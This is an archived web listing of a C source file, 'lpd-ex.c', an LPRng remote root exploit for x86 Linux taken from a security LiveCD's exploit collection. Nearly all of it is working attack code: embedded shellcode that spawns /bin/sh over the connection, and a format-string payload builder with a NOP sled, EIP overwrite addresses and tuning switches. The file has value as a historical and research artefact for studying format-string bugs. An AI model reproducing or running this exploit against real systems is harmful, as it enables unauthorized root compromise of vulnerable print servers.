home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpd-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  90 lines

  1. /*
  2.  * LPRng remote root exploit for x86 Linux
  3.  * 9/27/00 
  4.  *
  5.  * - sk8
  6.  * tested on compiled LPRng 3.6.22/23/24 
  7.  *
  8.  */
  9.  
  10. #include <unistd.h>
  11. #include <stdio.h>
  12.  
  13. char sc[]=
  14.   "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
  15.   "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
  16.   "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
  17.   "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
  18.   "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";
  19.  
  20. #define NOP 0x90 //will be split up, doesn't matter
  21. int main(int argc, char** argv) {
  22.   char getbuf[1000];
  23.   int bpad=0; /* was 2 */ /* 3 for other */
  24.   /* 2 - -34
  25.      3 - -41
  26.      0 - -42
  27.   */
  28.   int i=0;
  29.   int eiploc=0x41424344;
  30.   char buffer[1024];
  31.   char fmtbuf[128];
  32.   int shloc=-1; //0xbffff2c8;
  33.   int hi=100; 
  34.   int lo=200;
  35.   int pre=0;
  36.   int align=-36;
  37.  
  38.   int pos=511; //483; //488; /*299;*/
  39.   int debug=0;
  40.   char s=0;
  41.   char mode='n';
  42.  
  43.   while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
  44.     switch(s) {
  45.       case 'a': align=atoi(optarg); break;
  46.       case 'b': bpad=atoi(optarg);
  47.           break;
  48.       case 'e': eiploc=strtoul(optarg, 0,0);
  49.           break;
  50.       case 's': shloc=strtoul(optarg, 0, 0);
  51.           break;
  52.       case 'p': pos=atoi(optarg); break;
  53.       case 'd': debug=1; break;
  54.       default:
  55.     }
  56.   }  
  57.   if (shloc == -1) shloc=eiploc+2450;
  58.  
  59.   memset(buffer, 0, sizeof(buffer));
  60.   memset(fmtbuf, 0, sizeof(fmtbuf));
  61.  
  62.   memset(buffer, 'B', bpad);
  63.   *(long*)(buffer+strlen(buffer))=eiploc+2;
  64.   *(long*)(buffer+strlen(buffer))=0x50505050;
  65.   *(long*)(buffer+strlen(buffer))=eiploc;
  66.   pre=strlen(buffer);
  67.  
  68.   if (debug) { mode='p'; hi=100; lo=100; }
  69.   else {
  70.     hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
  71.     lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
  72.   }
  73.   sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
  74.   strcat(buffer+strlen(buffer), fmtbuf);
  75.   /* make it easier to hit shellcode */
  76.   memset(buffer+strlen(buffer), NOP, 385);
  77.   strcat(buffer, sc);
  78.   *(char*)(buffer+strlen(buffer))=0;
  79.  
  80.   fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
  81.   fprintf(stderr, "pos: %i\n", pos);
  82.   fprintf(stderr, "align: %i\n", align);
  83.   fprintf(stderr, "eip location: 0x%x\n", eiploc);
  84.   fprintf(stderr, "shellcode location: 0x%x\n", shloc);
  85.   fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
  86.   fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
  87.   printf("%s", buffer);
  88.   putchar('\n');
  89. }
  90. /*                   www.hack.co.za  [11 December 2000]*/